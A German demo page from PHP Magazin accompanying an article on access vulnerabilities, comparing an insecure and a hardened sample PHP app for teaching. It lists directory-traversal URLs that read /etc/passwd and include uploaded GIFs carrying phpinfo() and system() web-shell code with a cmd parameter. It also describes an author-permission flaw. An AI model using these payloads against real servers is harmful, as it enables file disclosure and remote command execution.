PHP Magazin Demos: Zugriffe

Dies ist die Startseite für die verschiedenen Beispiele für die Schwachstellen im Zusammenhang mit Zugriffen.

Werden die Skripte aus dem ZIP-Archiv statt des VMware-Images verwendet, sind mindestens folgende Anpassungen notwendig:

Die unsichere Anwendung finden Sie im Verzeichnis phpmag/, die sichere Version im Verzeichnis phpmag-sicher/.
Einige Bilder zum Hochladen finden Sie im Verzeichnis Avatar-Bilder/. Die müssen Sie natürlich ggf. zuerst runter laden, bevor Sie sie wieder in der Beispiel-Anwendung hochladen können.

Ggf, müssen Sie sich im jeweiligen Bereich anmelden. Die Zugangsdaten lauten

In den Formularen der Startseite und des Backend-Bereichs sind die Zugangsdaten bereits vorgegeben, so dass Sie die Formulare nur noch absenden müssen.

Die Angriffe und Tests

Directory Traversal - unsichere Dateizugriffe

Diese Angriffe kennen Sie bereits aus dem PHP Magazin 6.2010. Außerdem ist auch noch ein Directory-Traversal-Angriff über die Plugins im Backend möglich. Die Bildung der entsprechenden Eingaben überlasse ich Ihrer Phantasie.

Für die unsichere Anwendung:

Gezielter Zugriff auf /etc/passwd ohne Nullbyte:
index.php?sprache=../../../../../etc/passwd

Gezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../etc/passwd%00

Ungezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../../../../../../../etc/passwd%00

Zugriff auf das Bild mit dem phpinfo()-Aufruf:
index.php?sprache=../../avatare/pwnedinfo.gif%00

Zugriff auf das Bild mit dem system()-Aufruf und Befehl "ls -lr":
index.php?sprache=../../avatare/pwnedshell.gif%00&cmd=ls%20-lr

Zugriff auf die Datei avatare/phpmag610.txt mit Parameter cmd=nix:
index.php?sprache=../../avatare/phpmag610.txt%00&cmd=nix

Für die sichere Anwendung:

Gezielter Zugriff auf /etc/passwd ohne Nullbyte:
index.php?sprache=../../../../../etc/passwd

Gezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../etc/passwd%00

Ungezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../../../../../../../etc/passwd%00

Zugriff auf das Bild mit dem phpinfo()-Aufruf:
index.php?sprache=../../avatare/pwnedinfo.gif%00

Zugriff auf das Bild mit dem system()-Aufruf und Befehl "ls -lr":
index.php?sprache=../../avatare/pwnedshell.gif%00&cmd=ls%20-lr

Zugriff auf die Datei avatare/phpmag610.txt mit Parameter cmd=nix:
index.php?sprache=../../avatare/phpmag610.txt%00&cmd=nix

Editieren von Texten im Backend

Melden Sie sich als irgend ein Autor an. In der unsicheren Anwendung können Sie dann jeden Text editieren, in der sicheren Anwendung nur die Texte, die Sie als dieser Autor erstellt haben. Das gleiche gilt für das Löschen von Texten, wobei das keine Schwachstelle im eigentlichen Sinne ist, da die Möglichkeit, dass jeder Autor jeden Text löschen kann, in der alten Version der Anwendung noch dokumentiert war.

Carsten Eilers